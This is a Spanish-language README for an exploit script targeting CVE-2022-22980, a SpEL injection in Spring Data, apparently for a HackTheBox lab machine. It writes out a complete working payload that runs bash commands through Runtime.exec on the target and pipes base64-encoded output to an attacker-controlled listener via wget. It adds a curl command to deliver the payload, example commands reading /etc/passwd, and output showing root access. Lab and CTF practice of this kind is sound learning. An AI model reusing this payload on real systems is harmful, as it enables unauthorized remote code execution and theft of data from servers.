
Explotación de CVE-2022-22980
Exploit para la ejecución remota de código (RCE) en Spring Data mediante una inyección SpEL (Spring Expression Language).
La máquina expone un endpoint /search que acepta un parámetro tracking_id vulnerable a la inyección SpEL. Esta inyección permite la ejecución de expresiones Java maliciosas directamente en el servidor.
Runtime.getRuntime().exec()http.server, subprocess, threading, base64)LPORT en el script)Modifique los parámetros en el script según su entorno:
TARGET = "http://<IP_OBJETIVO>:8080/search" # URL del objetivo
LHOST = "<SU_IP>" # IP local (tun0 para HTB)
LPORT = 80 # Puerto de escucha
# Comando simple
python3 spel_shell.py "whoami"
# Comando con pipe
python3 spel_shell.py "cat /etc/passwd"
# Enumeración del sistema
python3 spel_shell.py "uname -a"
# Verificar acceso de red
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
Si desea probar el payload sin el script:
# Terminal 1: Iniciar el listener
python3 -m http.server 80
# Terminal 2: Enviar el payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SU_IP>:80/{}"})' \
http://<IP_OBJETIVO>:8080/search
El puerto 80 está ocupado. Soluciones:
# Verificar qué proceso usa el puerto
sudo netstat -tlnp | grep :80
# Detener Apache si está activo
sudo systemctl stop apache2
# O usar otro puerto
# Modifique LPORT en el script y pruebe
python3 spel_shell.py "echo test"sudo en Linuxifconfig (tun0 para HTB) y no 127.0.0.1Si ve "Raw data received" en lugar de "Command output", es posible que el comando no haya producido una salida válida. Pruebe un comando que siempre produzca salida.
1. start_server() - Inicia un servidor HTTP en el puerto 80
↓
2. Envía el payload SpEL mediante curl al objetivo
↓
3. El objetivo ejecuta el comando y codifica el resultado en base64
↓
4. wget envía el resultado al listener (GET http://LHOST:LPORT/<data>)
↓
5. El Handler recibe los datos y los almacena
↓
6. El script decodifica y muestra el resultado
Este script se proporciona con fines educativos para las máquinas HackTheBox. Úselo únicamente en entornos que tenga permiso de probar.
Autor: Eliasdekiniweek
Fecha: Febrero 2026
Lenguaje: Python 3